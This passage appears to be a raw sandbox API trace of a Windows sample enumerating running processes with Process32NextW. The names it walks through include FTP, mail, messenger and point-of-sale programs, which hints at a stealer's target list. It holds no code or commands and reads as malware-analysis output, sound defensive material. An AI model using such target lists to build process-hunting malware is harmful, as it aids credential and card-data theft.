(lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0060.452] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0060.453] lstrlenW (lpString="winlogon.exe") returned 12 [0060.453] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0060.453] lstrlenW (lpString="services.exe") returned 12 [0060.453] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0060.454] lstrlenW (lpString="lsass.exe") returned 9 [0060.454] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0060.454] lstrlenW (lpString="lsm.exe") returned 7 [0060.454] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.455] lstrlenW (lpString="svchost.exe") returned 11 [0060.455] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.455] lstrlenW (lpString="svchost.exe") returned 11 [0060.455] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.456] lstrlenW (lpString="svchost.exe") returned 11 [0060.456] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.456] lstrlenW (lpString="svchost.exe") returned 11 [0060.456] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.457] lstrlenW (lpString="svchost.exe") returned 11 [0060.457] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0060.457] lstrlenW (lpString="audiodg.exe") returned 11 [0060.457] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.458] lstrlenW (lpString="svchost.exe") returned 11 [0060.458] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.458] lstrlenW (lpString="svchost.exe") returned 11 [0060.458] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0060.459] lstrlenW (lpString="dwm.exe") returned 7 [0060.459] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0060.459] lstrlenW (lpString="explorer.exe") returned 12 [0060.460] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0060.460] lstrlenW (lpString="spoolsv.exe") returned 11 [0060.460] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.461] lstrlenW (lpString="svchost.exe") returned 11 [0060.461] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0060.461] lstrlenW (lpString="taskhost.exe") returned 12 [0060.461] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0060.462] lstrlenW (lpString="taskeng.exe") returned 11 [0060.462] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoken.exe")) returned 1 [0060.462] lstrlenW (lpString="spoken.exe") returned 10 [0060.462] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cut baby kind.exe")) returned 1 [0060.534] lstrlenW (lpString="cut baby kind.exe") returned 17 [0060.534] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intelligence-jones.exe")) returned 1 [0060.534] lstrlenW (lpString="intelligence-jones.exe") returned 22 [0060.534] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="enterprises oscar hr.exe")) returned 1 [0060.535] lstrlenW (lpString="enterprises oscar hr.exe") returned 24 [0060.535] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="things apt speaker.exe")) returned 1 [0060.535] lstrlenW (lpString="things apt speaker.exe") returned 22 [0060.535] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="longest.exe")) returned 1 [0060.536] lstrlenW (lpString="longest.exe") returned 11 [0060.536] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="liberty.exe")) returned 1 [0060.536] lstrlenW (lpString="liberty.exe") returned 11 [0060.537] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="robust.exe")) returned 1 [0060.537] lstrlenW (lpString="robust.exe") returned 10 [0060.537] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="browse.exe")) returned 1 [0060.538] lstrlenW (lpString="browse.exe") returned 10 [0060.538] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused_mem_exotic.exe")) returned 1 [0060.538] lstrlenW (lpString="accused_mem_exotic.exe") returned 22 [0060.538] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blocked.exe")) returned 1 [0060.539] lstrlenW (lpString="blocked.exe") returned 11 [0060.539] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cope-characterization-larger.exe")) returned 1 [0060.539] lstrlenW (lpString="cope-characterization-larger.exe") returned 32 [0060.539] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="reno.exe")) returned 1 [0060.540] lstrlenW (lpString="reno.exe") returned 8 [0060.540] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="vancouver.exe")) returned 1 [0060.540] lstrlenW (lpString="vancouver.exe") returned 13 [0060.541] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="africa.exe")) returned 1 [0060.541] lstrlenW (lpString="africa.exe") returned 10 [0060.541] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ph-pos.exe")) returned 1 [0060.542] lstrlenW (lpString="ph-pos.exe") returned 10 [0060.542] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="johns inclusive alpine.exe")) returned 1 [0060.543] lstrlenW (lpString="johns inclusive alpine.exe") returned 26 [0060.543] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="peaceful.exe")) returned 1 [0060.543] lstrlenW (lpString="peaceful.exe") returned 12 [0060.543] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="louise_threshold.exe")) returned 1 [0060.544] lstrlenW (lpString="louise_threshold.exe") returned 20 [0060.544] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scannerhit.exe")) returned 1 [0060.544] lstrlenW (lpString="scannerhit.exe") returned 14 [0060.544] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0060.545] lstrlenW (lpString="3dftp.exe") returned 9 [0060.545] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0060.545] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0060.545] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0060.546] lstrlenW (lpString="alftp.exe") returned 9 [0060.546] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0060.546] lstrlenW (lpString="barca.exe") returned 9 [0060.546] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0060.547] lstrlenW (lpString="bitkinex.exe") returned 12 [0060.547] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0060.547] lstrlenW (lpString="coreftp.exe") returned 11 [0060.547] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0060.548] lstrlenW (lpString="far.exe") returned 7 [0060.548] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0060.548] lstrlenW (lpString="filezilla.exe") returned 13 [0060.549] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0060.549] lstrlenW (lpString="flashfxp.exe") returned 12 [0060.549] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0060.550] lstrlenW (lpString="fling.exe") returned 9 [0060.550] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0060.550] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0060.550] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0060.551] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0060.551] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0060.551] lstrlenW (lpString="icq.exe") returned 7 [0060.551] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0060.552] lstrlenW (lpString="leechftp.exe") returned 12 [0060.552] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0060.553] lstrlenW (lpString="ncftp.exe") returned 9 [0060.553] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0060.553] lstrlenW (lpString="notepad.exe") returned 11 [0060.553] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0060.554] lstrlenW (lpString="operamail.exe") returned 13 [0060.554] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0060.555] lstrlenW (lpString="pidgin.exe") returned 10 [0060.555] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0060.556] lstrlenW (lpString="scriptftp.exe") returned 13 [0060.556] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0060.557] lstrlenW (lpString="skype.exe") returned 9 [0060.557] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0060.558] lstrlenW (lpString="smartftp.exe") returned 12 [0060.558] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0060.559] lstrlenW (lpString="thunderbird.exe") returned 15 [0060.559] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0060.560] lstrlenW (lpString="totalcmd.exe") returned 12 [0060.560] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0060.561] lstrlenW (lpString="trillian.exe") returned 12 [0060.561] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0060.561] lstrlenW (lpString="webdrive.exe") returned 12 [0060.561] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0060.562] lstrlenW (lpString="whatsapp.exe") returned 12 [0060.562] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0060.563] lstrlenW (lpString="winscp.exe") returned 10 [0060.563] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0060.564] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0060.564] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0060.565] lstrlenW (lpString="active-charge.exe") returned 17 [0060.565] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0060.565] lstrlenW (lpString="accupos.exe") returned 11 [0060.565] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0060.566] lstrlenW (lpString="afr38.exe") returned 9 [0060.566] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0060.567] lstrlenW (lpString="aldelo.exe") returned 10 [0060.567] Process32NextW (in: hSnapshot=0x1a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, 